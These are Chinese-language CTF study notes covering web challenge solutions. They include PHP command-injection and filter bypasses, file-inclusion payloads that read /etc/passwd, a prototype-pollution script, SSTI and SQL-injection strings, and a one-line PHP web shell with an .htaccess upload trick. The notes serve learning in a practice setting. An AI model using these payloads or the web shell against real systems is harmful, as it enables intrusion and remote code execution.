CTF学习笔记
按键音(即DTMF)解密网站:DTMF Decoder
PHP伪协议
e.g
http://node5.anna.nssctf.cn:25660/falg.php 不能通过
换思路
http://node5.anna.nssctf.cn:25660/flag
或者?file=php://filter/resource=flag
webdog1_start
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e
绕过弱比较
payload:?web=0e215962017
然后进入到start.php
界面
![[Pasted image 20240926130034.png]]
然后继续Ctrl+U
查看前端代码,可以看到hint
![[Pasted image 20240926130104.png]]
这里的bot
指的就是robots.txt
,访问一下
![[Pasted image 20240926130133.png]]
然后去访问f14g.php
抓包从返回头可以看到hint
![[Pasted image 20240926130253.png]]
接下来去访问F1l1l1l1l1lag.php
访问得到代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
我们需要以get方式传入get参数
并且传入参数不能存在,如果有flag
,把flag
利用str_ireplace()
函数变成空格
字符串的长度要小于等于18
,如果以上条件都满足,就会利用eval
来执行get参数
绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS
因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤
但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:
- 利用绝对路径前面的/分隔 cat$IFS/flag.php
- 利用通配符?分隔 ,?在linux里面可以进行代替字母
在linux里面可以进行模糊匹配
cat$IFS?lag.php
3.利用${}分隔cat$${IFS}flag.php
4.自定义变量:a=参数,命令$IFS$a cat$aflag.php
5.未过滤"0~9"、"@"、"*"命令$IFS$
格式:$$cat<fileName cat<>flag.txt
$$
对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。
其他绕过方式:制表符%09
、%0a
制表符\t
至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*
进行模糊匹配
而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种
最终payload:
?get=system("nl%09/*"); ?get=system("nl\t/*");
或者利用自定义变量
?get=eval($_GET['A']);&A=system('cat /flag');
所以你说你懂 MD5?
![[Pasted image 20240927133123.png]]
我们先分析第一个if 这里要求apple和banana的内容不相同但是md5值相同,这里可以使用数组绕过,因为数组为空时 都为null 所以第一个if
payload:apple[]=1&banana[]=2
第二个if判断必须为字符型而且是弱类型比较,PHP在处理哈希字符串的时候,它把每一个以0e开头的哈希值都解析为0。,那么就可以参数为字符串 计算出来的md5为0e且全是数字 即可实现,这里给大家提供两个
IHKFRNS 0e256160682445802696926137988570
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
0e215962017 0e291242476940776845150308577824
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299
appple=240610708&bananana=QNKCDZO
第三个if要求内容可以不相同 但是md5值必须完全相同,用了强比较,所以这里给大家提供两个字符串
![[Pasted image 20240927133142.png]]
apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
![[Pasted image 20240927133157.png]]
random_bytes(16)
生成一个16字节的随机字节序列,然后通过 bin2hex()
转换为32字符的十六进制字符串。
这个过程重复三次,因此最终生成了一个长度为96个字符的随机十六进制字符串。
并且判断了name是否等于admin
这里name直接补位即可
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
最后一个if则需要扩展长度攻击,这里需要使用HashPump
https://www.hujiayucc.cn/post-26.html
圣钥之战1.0
源码如下
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
通过file属性直接读取[环境变量]
__file__
是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__
对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。
在read路由,可以读取__file__
。
那么我们污染全局变量__file__
即可读取flag
脚本如下:
import requests
import json
# 构造污染原型链的 JSON 请求
payload= {
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": { # 在check中可以看到有black_list,__init__被过滤了,使用unioncode进行绕过
"__globals__" : {
"__file__": "../../../proc/1/environ" # 大部分的flag都隐藏在环境变量中
}
}
}
# 将 payload 转换为 JSON 字符串
json_payload = json.dumps(payload)
# 发送 POST 请求到 /pollute 路由
response = requests.post(
"http://challenge.basectf.fun:22856/pollute",
data=json_payload,
headers={"Content-Type": "application/json"}
)
# 打印响应
print(response.text)
url2 = "http://challenge.basectf.fun:41643/read"
response2 = requests.get(url2)
print(response2.text)
直接进/read看源码,然后进/flag进行post方法传参一个json的payload: {"init" : {"globals" : {"file":"/flag"}}}
然后去/read就有flag了。
![[Pasted image 20240930111659.png]]
flag直接读取不就行了?
要先进行一次遍历: ?K=DirectoryIterator&W=/secret/
然后找到flag在/secret文件夹的f11444g.php
然后用伪协议读取内容: POST:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
`<?php highlight_file('index.php'); # 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
echo($f . '<br>'); }
echo new $J1ng($Hong); ?> `.
..
f11444g.php
PD9waHAgQmFzZUNURntlOTk1OGY1OC03YWFkLTQ1NzEtOGY5Yy1jMDM2MjE0MjNhZTZ9ID8+Cg==
[SWPUCTF 2021 新生赛]no_wakeup
题干
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){ $this->admin ="user"; $this->passwd = "123456";
}
public function __wakeup(){ $this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
解题过程
- 类
HaHaHa
:
- `public $admin;` 和 `public $passwd;`:声明两个公共属性,分别为用户名和密码。
- `__construct()`:构造函数初始化`admin`为 `"user"`,`passwd` 为 `"123456"`。
- `__wakeup()`:当对象通过 `unserialize()` 方法被反序列化时,`__wakeup()` 会被调用。这里 `__wakeup()` 将 `passwd` 经过 `sha1` 加密。
- `__destruct()`:在对象销毁时调用,判断条件是:如果 `admin` 的值为 `"admin"` 且 `passwd` 的值为 `"wllm"`,则包含 `flag.php` 并显示flag。
利用序列化构造
PHP的序列化格式如下:
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
可以通过 $_GET
参数传递该序列化字符串来利用:
http://node7.anna.nssctf.cn:24666/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
0e8badd4ad37ed18f5277e01c66b5b39bb1c28faNo wake up
0e8badd4ad37ed18f5277e01c66b5b39bb1c28fa
是经过sha1
加密后的结果,这意味着在你反序列化对象时,passwd
被sha1
处理过。
【网络安全 | CTF】攻防世界 fileclude
WRONG WAY! `<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); }`
file_get_contents函数可以使用php伪协议绕过:
Payload:?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
Post写入: hello ctf
使file_get_contents($file2) === “hello ctf”
得到base64的flag为
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXs4ZTM4ZmNiYzc4ZjEwNjY5ODY1MzljODAzMWJmN2I4NX0=
解密后
![[Pasted image 20241020101432.png]]
变量覆盖机制
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
- 第一部分遍历
$_POST
数组,将其中的键名和对应的值动态地赋值为变量。比如,$_POST['a'] = 'value'
将会创建$a = 'value'
。 - 第二部分遍历
$_GET
数组,将其中的键名和对应的值进一步动态地赋值。此时,$_GET['flag']
会将$flag
赋值为$flag
的当前值,即覆盖变量。
常见的万能密码:
' OR '1'='1' --
' OR 1=1 --
admin' --
1. 常见用户名猜测:
许多系统默认会使用常见的用户名,以下是一些常见的用户名可以尝试:
admin
administrator
root
guest
user
test
<?phphighlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); }?>
文件包含:开发人员一般会把重复使用的函数写到单个文件中,当需要使用这个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。那正常来说包含的文件是固定的、写死的就不会存在文件包含漏洞,但是这样的话又不够便捷,所以开发人员为了使代码调用更加灵活,就会将被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,允许用户从客户端提交一个变量值来作为文件包含的变量值,当这个值是段恶意代码时,并且服务端又没有对用户的输入进行一个很好的过滤,就会造成文件包含漏洞。
实现文件包含功能的函数:include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline。
本题利用filename参数带一段恶意代码进去,然后include函数执行恶意代码进而找到flag。不过会遇到很多过滤,要想办绕过去。
源码分析:
没什么好说的
简单补充一下:
- " . " 表示当前目录
- " .. " 表示当前目录的上一级目录。
- " ./ " 表示当前目录下的某个文件或文件夹,视后面跟着的名字而定
- " ../ " 表示当前目录上一级目录的文件或文件夹,视后面跟着的名字而定
URL 链接中 井号#、问号?、连接符& 分别有什么作用?_url里的问号-CSDN博客
文件包含一般都想到伪协议
伪协议种类
php://input:用于访问请求的原始POST数据。这在处理非表单编码的数据(如JSON、XML等)时非常有用。
php://output:用于将数据写入输出流,通常用于动态生成文件或发送数据到客户端。
php://filter:用于对读取的数据应用一系列过滤器。例如,你可以使用此伪协议来读取并转换文件的编码或进行压缩/解压缩操作。
file://:用于访问本地文件系统中的文件。通过此伪协议,你可以直接操作本地文件,如读取、写入等。
http:// 和 https://:用于发送HTTP请求并获取远程资源的内容。这可以用于获取远程网页的HTML内容或发送POST请求等。
ftp://:用于访问和操作FTP服务器上的文件。通过此伪协议,你可以实现与FTP服务器的交互,如上传、下载、删除文件等
PHP伪协议总结 - 个人文章 - SegmentFault 思否
尝试一些poc
filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
是一个 data:
URL,它用于嵌入小文件内容在URLs中。这里的内容是Base64编码的,并且表示一个文本文件。
data:
- 表示这是一个data URL。text/plain
- 表示文件的内容是纯文本。base64
- 表示接下来的内容是用Base64编码的。
Base64编码的内容 PD9waHAgc3lzdGVtKCJscyIpPz4=
解码后是 <?php system("ls");?>
。
php://filter,用于读取源码,?filename=php://filter/read=convert.base64/resource=/etc/passwd
URL 参数表示尝试通过 PHP 的 php://filter
流来读取 /etc/passwd
文件的内容,并将内容以 Base64 编码的形式返回。这里,/etc/passwd
是一个常见的 Unix/Linux 系统文件,它包含了系统上所有用户的基本信息。
php://filter
:这是 PHP 的流封装器,用于应用过滤器到流。read=convert.base64
:这是应用的过滤器,表示读取流的内容并将其转换为 Base64 编码。resource=/etc/passwd
:这指定了要读取的文件的路径,即/etc/passwd
php://filter的各种过滤器_php://filter过滤器种类-CSDN博客
用 convert.iconv.[]
过滤器绕过,[]
中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
<?php show_source(__FILE__); $code = $_GET['code']; if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); } ?>
1.过滤了字母数字和一些字符 没过滤~ 上取反试试
2.无参数函数system(current(getallheaders())); 执行http请求头第一条请求
3.burp抓包 添加rce请求头
恶意代码:
~%8c%86%8c%8b%9a%92]!%FF; HTTP/1.1
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php
from pwn import * import html context.log_level = "debug" host = "node4.anna.nssctf.cn:28674" command = "system(end(getallheaders()))" cmd = "ls /;cat /nssctfflag;" ##异或取反脚本
codes = command.replace(")","").split("(")[:-1][::-1]
res = ""
inline = ""
for code in codes: re_code = "~"+"".join(["%"+hex(255 - ord(i))[2:]for i in code]) res = f"[{re_code}][!%ff]({inline})"
inline = res print(res) res += ";" ##发送数据
raw = f'''GET /?code={res} HTTP/1.1 Host: {host} Connection: close Content-Length: 0 cmd: {cmd} '''.replace("\n","\r\n").encode()
io = remote(host.split(":")[0],host.split(":")[1],ssl=False) io.send(raw)
res = io.recvall().decode() html = html.unescape(res)
print(html)
\具体支持的编码可见php官方文档
\https://www.php.net/manual/zh/mbstring.supported-encodings.php
依次遍历

攻防世界web---fileinclude
1.题目
2.点开链接ctrl+u发现有一段php代码(大概意思就是想让我们设置一个cookie值name为language)
3.可以利用抓包工具修改cookie值如下
4.点击go后可以在右边得到base64的编码
5.解码之后就可以得到flag
PHP签到题
`<?php function waf($filename){ $black_list = array("ph", "htaccess", "ini"); $ext = pathinfo($filename, PATHINFO_EXTENSION); foreach ($black_list as $value) { if (stristr($ext, $value)){ return false; } } return true; } if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $content = file_get_contents($_FILES['file']['tmp_name']); if(waf($filename)){ file_put_contents($filename, $content); } else { echo "Please re-upload"; } } else{ highlight_file(__FILE__); }`
上传文件:
绕过原理就是这样,下面只需要上传文件,使用代码上传文件,先测试一下phpinfo()页面,观察是否可行
windows下不支持/作为文件名的一部分,所以需要进行url编码把 / 编码为%2f
刚好代码里会对文件名进行url解码,也算是一个小提示
访问2.php 搜索关键词flag得到flag
import requests
url = 'http://node5.anna.nssctf.cn:28714/' # 上传文件地址
file_content = "<?php phpinfo(); ?>"
files = {'file': ('2.php%2f.', file_content)}
response = requests.post(url=url, files=files)
print(response.text)
![[3ba12b6c29564cc58304aba272c11786.png]]
[BJDCTF 2020]easy_md5
在输入框中输入任意字符串,并使用F12查看响应头得到提示(pass经过md5加密后在传入sql语句中)。
在输入框中输入ffifdyop万能密码绕过md5加密;跳转到新的页面并查看源码找新的页面levell14.php。
进入levell14.php页面并分析PHP代码,要使两值不等但md5全相等,则使用数组形式传入数据绕过md5加密得到flag。
[NISACTF 2022]easyssrf
输入http://www.baidu.com,回显了百度主页。。
大概率存在SSRF,随即http://127.0.0.1
毕竟是CTF题,我们的主要目的是找flag,访问http://127.0.0.1/flag.php。
访问http://127.0.0.1/fl4g回显404,试一下file:///fl4g
直接去访问ha1x1ux1u.php。
又是熟悉的配发,直接php://filter一把梭。
[suctf 2019]EasySQL
- 对该题的考点总结
这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post[‘query’]||flag from Flag
输入
1;set sql_mode=PIPES_AS_CONCAT;select 1
得到flag
判断出username的md5值是0e开头的字符串。username=240610708
ctf (hardrce)
知识点
取反过滤:取反过滤是先将命令取反,然后对其进行url编码最后在上传时再一次进行取反。
取反过滤可以绕过preg_match()过滤的所有字符和数字。
取反脚本
获取取反结果后在url注入栏输入
(取反结果1)(取反结果2);
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
这段代码中正则过滤了所有字母和一些符号,但‘~’未被过滤。我们可以用取反过滤的方法来查看文件。首先我们要使用命令system(ls /)查看目录
我们对system 和 (ls /) 发别取反为%8C%86%8C%8B%9A%92 和%D7%93%8C%DF%D0%D6
payload: ?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%93%8C%DF%D0%D6);
![[Pasted image 20241115105947.png]]
再使用命令system(cat / flllllaaaaaaggggggg)查看flllllaaaaaaggggggg目录里的内容
取反操作同上
payload:?wllm=(~%8C%86%8C%8B%9A%92 )(~%D7%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98%D6);
![[Pasted image 20241115110002.png]]
CRC爆破PNG
由于CRC32只能对一位数据出错做出校正,而修改宽高时涉及的数据不一定只用一位,所以可以采取的办法只有枚举png图片的宽高,然后计算修改后图片的CRC值,与正确的CRC值比较看是否一致
import zlib
import struct
filename = '1.png'
with open(filename, 'rb') as f:
all_b = f.read()
crc32key = int(all_b[29:33].hex(), 16)
data = bytearray(all_b[12:29])
n = 4095 # 理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
for w in range(n): # 高和宽一起爆破
width = bytearray(struct.pack('>i', w)) # q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x + 4] = width[x]
data[x + 8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == crc32key:
# 2021.7.20,有时候显示的宽高依然看不出具体的值,干脆输出data部分
print(data.hex())
print("宽为:", end="")
print(width)
print("高为:", end="")
print(height)
exit(0)
修改宽和高:
4948445200000a00000004e90806000000
宽为:bytearray(b'\x00\x00\n\x00')
高为:bytearray(b'\x00\x00\x04\xe9')
![[Pasted image 20241117105641.png]]
![[205e2d8cb49d4428aa85a85fb56274ef.png]]
![[0d363f7e6f274f739c8cf5aef635a2d7.png]]
臭皮的计算机
知识点:ssti,八进制绕过
生成八进制编码绕过
def string_to_octal_escape(input_string):
octal_escape = ''.join(f'\\{ord(char):03o}' for char in input_string)
return octal_escape
# 示例
input_string = "__import__('os').popen('cat /flag').read()"
octal_escape_string = string_to_octal_escape(input_string)
print(f"字符串 '{input_string}' 的八进制转义表示为: {octal_escape_string}")
# 字符串 '__import__('os').popen('cat /flag').read()' 的八进制转义表示为:
# \137\137\151\155\160\157\162\164\137\137\050\047\157\163\047\051\056\160\157\160\145\156\050\047\143\141\164\040\057\146\154\141\147\047\051\056\162\145\141\144\050\051
Include Me
![[Pasted image 20241117163000.png]]
``<?php highlight_file(__FILE__); function waf(){ if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){ die("兄弟你别包"); }; } if(isset($_GET['phpinfo'])){ phpinfo(); } //兄弟你知道了吗? if(!isset($_GET['iknow'])){ header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE"); } waf(); include $_GET['me']; echo "兄弟你好香"; ?> ``
**Notice**: Undefined index: me in **/var/www/html/index.php** on line **4**
**Notice**: Undefined index: me in **/var/www/html/index.php** on line **18**
**Warning**: include(): Filename cannot be empty in **/var/www/html/index.php** on line **18**
**Warning**: include(): Failed opening '' for inclusion (include_path='.:/usr/local/lib/php') in **/var/www/html/index.php** on line **18**
兄弟你好香
ikown=1&me=data://text/plain;base64,PD89c3lzdGVtKCJ0YWMgL2ZsYWciKTs
just one and more than two
很常见的 RSA 板子题。在一般的 RSA 中,我们有
如果你不知道,那就再回去温习一下 Week 1 中对于 RSA 的相关知识
针对 just one 的情况:
针对 more than two 的情况:
其他和普通 RSA 一样解即可
from Crypto.Util.number import *
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e=65537
phi_1 = p-1
d1 = inverse(e, phi_1)
m1 = pow(c1, d1, p)
phi_2 = (p-1)*(q-1)*(r-1)
d2 = inverse(e, phi_2)
m2 = pow(c2, d2, p*q*r)
print(long_to_bytes(m1)+long_to_bytes(m2))
茶里茶气
# from Crypto.Util.number import *
#
# flag = "flag{*****}"
# assert len( flag ) == 25
#
# a = ""
# for i in flag:
# a += hex(ord(i))[2:]
# l = int(a,16).bit_length()
# print("l =" , l )
#
# v0 = int(a,16)>>(l//2)
# v1 = int(a,16)-(v0<<(l//2))
# p = getPrime(l//2+10)
#
# v2 = 0
# derta = 462861781278454071588539315363
# v3 = 489552116384728571199414424951
# v4 = 469728069391226765421086670817
# v5 = 564098252372959621721124077407
# v6 = 335640247620454039831329381071
# assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p
#
# for i in range(32):
# v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
# v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
# v2 += derta ; v2 %= p
#
# print( "p =" , p )
# print( "v0 =" , v0 )
# print( "v1 =" , v1 )
#
# """
# l = 199
# p = 446302455051275584229157195942211
# v0 = 190997821330413928409069858571234
# v1 = 137340509740671759939138452113480
# """
from Crypto.Util.number import long_to_bytes
# 已知参数
l = 199 # 长度
p = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
v2 = 0
delta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
for i in range( 32 ):
v2 += delta ; v2 %= p
# 逆推32轮
for i in range(32):
v2 -= delta
v2 %= p
v0 -= ((v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6)) % p
v0 %= p
v1 -= ((v0 + v2) ^ (8 * v0 + v3) ^ ((v0 >> 7) + v4)) % p
v1 %= p
a = hex((v0 << ((l // 2))) + v1)[2:]
flag = ""
for i in range(0, len(a), 2):
flag += chr(int(a[i] + a[i + 1], 16))
print(flag)
flag{f14gg9_te2_1i_7ea_7}
WEB
万能密码
![[Pasted image 20241130102543.png]]
3.正则表达式相关
1.ereg正则%00截断:
ereg函数存在NULL截断漏洞,使用NULL可以截断过滤,所以可以使用%00截断正则匹配。即ereg函数 读到 %00 的时候,就截止了。
2.数组绕过:正则表达式相关的函数也可以使用数组绕过过滤,绕过方法详见数组返回NULL绕过。
上面那道题也可以用数组绕过。
3.单引号绕过preg_match()正则匹配:
在每一个字符前加上单引号可以绕过preg_match的匹配,原理暂时不明。
例如有如下代码:
<?php
$p = $_GET['p'];
if (preg_match('/[0-9a-zA-Z]{2}/',$p) === 1) {
echo 'False';
} else {
$pp = trim(base64_decode($p));
if ($pp === 'flag.php') {
echo 'success';
}
}
?>
payload:p=‘Z’m’x’h’Z’y’5’w’a’H’A’=
垫刀之路05
这是一个登陆页面。听说管理员叫 admin123 ,而且只要登陆成功,就会显示 flag 。可是,听管理员自己说,它自己的密码在密码强度检查器网站上,需要上百年才能被破译。那么,我们应该怎么登陆进去呢?
![[Pasted image 20241129205147.png]]
创建木马文件 <script language='php'>@eval($_REQUEST['shell']);</script>
创建.htaccess配置文件
SetHandler application/x-httpd-php
Step1.上传.htaccess 文件,内容如下:<FilesMatch "1.png">
SetHandler application/x-httpd-php
[HCTF 2018]Warmup 详细题解
知识点:
目录穿越_文件包含
static静态方法
参数传递引用
mb_strpos函数 mb_substr函数
正文:
页面有一张 滑稽 的表情包,查看一下页面源代码,发现提示
那就访问/source.php 得到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以看到有一个hint.php 访问一下
提示flag not here, and flag in ffffllllaaaagggg 得到了flag文件名
代码审计:
前面都是类中的代码,先看最后的代码
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
$_REQUEST 可以接收 GET POST COOKIE 传入的参数
需要存在file参数是字符串类型,并且经过emmm类中的checkFile方法返回true,才能执行include函数进行文件包含
这里没有创建emmm类的实例就可以引用其中的方法,是因为类中static表示是一个静态方法,可以通过类名直接调用,而不需要创建类的实例
目标明确之后开始看emmm类中的代码,类中也只有一个checkFile 方法,所以很简单,顺着往下看
给出了白名单,是source.php 和 hint.php 然后对参数page设置了条件
参数page就是传入的file数据,这里用了&$page,表示可以直接修改传入的变量,而不需要返回值来更新该变量
最终的目的是include $_REQUEST['file'] 包含其中有flag的文件,也就是ffffllllaaaagggg
目标就是让参数file也就是类中参数page包含ffffllllaaaagggg的同时满足checkFile方法返回true
首先page参数需要存在并且是字符串类型,然后if(in_array($page, $whitelist)) 这个判断是无法满足的,因为得有flag文件名,但是没影响,只要不返回false就行,接着往下看
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
mb_strpos函数: 查找字符串在另一个字符串中首次出现的位置
mb_strpos ($haystack , $needle , $offset )
$haystack:被搜索的字符串
$needle: 要查找的字符串
$offset: 可选参数,指定从哪个字符开始搜索
//如果为正数,则从字符串的开头开始计算;如果是负数,则从字符串的末尾开始计算
//没有的话默认是0,即从开头开始搜索
mb_substr函数: 从一个字符串中提取子字符串
mb_substr ($str , $start , $length )
//substr() 函数只针对英文字符,而mb_substr()对于中文也适用
$str: 原始字符串
$start: 起始位置,如果为正数,则从字符串的开头开始计算;如果是负数,则从字符串的末尾开始计算
$length: 可选参数,表示要提取的子字符串的长度,如果没赋值,则提取从开始到字符串结束的所有字符
'.' 是 PHP 中的字符串连接运算符,它用于将两个字符串连接在一起,形成一个更长的字符串
在这里,它将 $page 变量的值和一个问号字符 '?' 连接在一起,形成一个新的字符串,在这个新的字符串中查找问号是否存在,那么很明显能找到
首先使用mb_strpos函数找到$page中第一个问号的位置,然后使用mb_substr函数将问号之前的部分赋值作为$_page进行处理
经过mb_strpos和mb_substr函数得到的$_page如果在白名单中,返回true
后面的代码对$page 进行url解密之后赋值给$_page,再次进行mb_substr函数得到新的$_page,再次判断是否在白名单中,不过如果传入的是正常的字符串,url解码之后还是本身,就没意义了
如果这一步进行完$page还不在白名单中,就会返回false
结合起来发现,只需要传入一个在白名单内的文件名(source.php或者hint.php)并在后面加上问号?
